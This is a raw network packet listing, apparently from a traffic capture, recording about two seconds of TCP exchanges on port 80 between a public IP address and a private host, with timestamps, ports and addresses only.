Oct 30, 2024 05:25:30.783489943 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783499956 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.783526897 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.783895016 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783906937 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783917904 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.783948898 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.783972025 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.784240007 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.784281969 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.784287930 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.784293890 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.784306049 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.784324884 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.784347057 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.827860117 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.827872992 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.827941895 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.827969074 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.827977896 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.828018904 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.828058004 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.900233984 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900248051 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900259018 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900293112 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.900315046 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.900392056 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900415897 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900429010 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900434017 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.900441885 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900449991 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.900454044 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.900485992 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.900485992 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.900500059 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.901160955 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.901199102 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.901206970 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.901211977 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.901237011 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.901256084 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.944727898 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.944741011 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.944792032 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.944792032 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.944802046 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.944813013 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:30.944833994 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:30.944859982 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.016957998 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017014980 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.017105103 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017117023 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017141104 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017148018 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.017152071 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017167091 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017167091 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.017175913 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017185926 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017194033 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.017194986 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.017240047 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.017918110 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017936945 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017946959 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.017970085 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.017991066 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.061599970 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.061618090 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.061638117 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.061649084 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.061660051 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.061685085 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.061734915 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.061939955 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.061949015 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.061994076 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.133729935 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.133743048 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.133754015 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.133795977 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.133806944 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.133816957 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.133917093 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.133917093 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.134346962 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.134355068 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.134409904 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.134481907 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.134521961 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.134526968 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.134533882 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.134546041 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.134563923 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.134588003 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.178450108 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.178462982 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.178472996 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.178484917 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.178601980 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.178611994 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.178699970 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.178699970 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.250444889 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.250456095 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.250509977 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.250570059 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.250580072 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.250581980 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.250592947 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.250617981 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.250627995 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.250659943 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.251209021 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.251218081 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.251274109 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.251348019 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.251358032 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.251364946 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.251380920 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.251390934 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.251409054 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.251427889 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.295063019 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.295073986 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.295131922 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.295141935 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.295154095 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.295259953 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.335879087 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.335887909 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.335949898 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.367443085 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.367474079 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.367481947 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.367492914 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.367496967 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.367503881 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.367513895 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.367531061 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.367564917 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.368091106 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.368105888 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.368125916 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.368136883 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.368146896 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.368148088 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.368168116 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.368192911 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.411964893 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.411981106 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.411990881 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.412066936 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.452735901 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.452811003 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.452824116 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.452832937 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.452842951 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.452853918 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.452863932 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.452864885 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.452891111 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.452928066 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.484471083 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484493971 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484513044 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484525919 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484530926 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.484536886 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484560966 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.484596968 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.484827042 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484874010 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484874964 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.484889030 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484910011 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484913111 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.484920025 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.484930992 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.484961987 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.528800011 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.528841972 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.528851032 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.528857946 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.528862000 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.528887987 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.528914928 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.569621086 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.569713116 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.569782019 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.569793940 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.569804907 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.569816113 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.569835901 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.569873095 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.601479053 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601490974 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601501942 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601511002 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601521015 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601538897 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.601572990 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.601691008 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601701021 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601711035 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.601738930 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.601761103 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.602108955 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.602119923 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.602128983 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.602159023 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.602183104 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.645642996 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.645744085 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.645775080 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.645786047 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.645817995 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.645840883 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.686566114 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.686584949 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.686599016 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.686609030 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.686620951 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.686635971 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.686685085 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.718596935 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.718609095 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.718621016 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.718669891 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.718707085 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.718755007 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.718765974 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.718777895 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.718790054 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.718797922 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.718826056 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.719562054 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.719573021 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.719618082 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.719726086 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.719738007 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.719749928 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.719767094 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.719805002 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.720037937 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.720082045 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.720189095 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.720230103 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.763400078 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.763411045 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.763421059 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.763577938 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.803407907 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.803425074 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.803486109 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.803495884 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.803505898 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.803517103 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.803548098 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.803599119 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.835083008 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835136890 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835146904 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835158110 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835170031 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835180998 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835226059 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.835258007 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.835743904 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835753918 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835813999 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.835897923 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835911036 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835927010 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835937977 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.835951090 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.835973978 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.881135941 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.881202936 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.881212950 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.881239891 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.881266117 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.885217905 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.885229111 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.885238886 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.885309935 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.920644999 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.920658112 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.920669079 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.920681000 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.920691967 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.920736074 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.920780897 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.952368975 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952436924 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952446938 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952456951 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952466965 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952474117 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.952538967 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.952579021 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952589989 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952599049 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952625990 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.952641010 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.952673912 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952683926 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.952718019 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.998189926 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.998202085 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.998265982 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.998420000 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.998462915 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:31.998466015 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:31.998506069 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.001903057 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.001919031 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.001928091 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.001952887 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.001977921 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.037229061 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.037240982 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.037286043 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.037298918 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.037309885 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.037321091 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.037341118 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.037362099 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.037369967 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.037419081 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.068856001 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.068877935 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.068892002 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.068908930 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.068938971 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.068998098 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.069025993 CET	80	50006	185.215.113.16	192.168.2.6
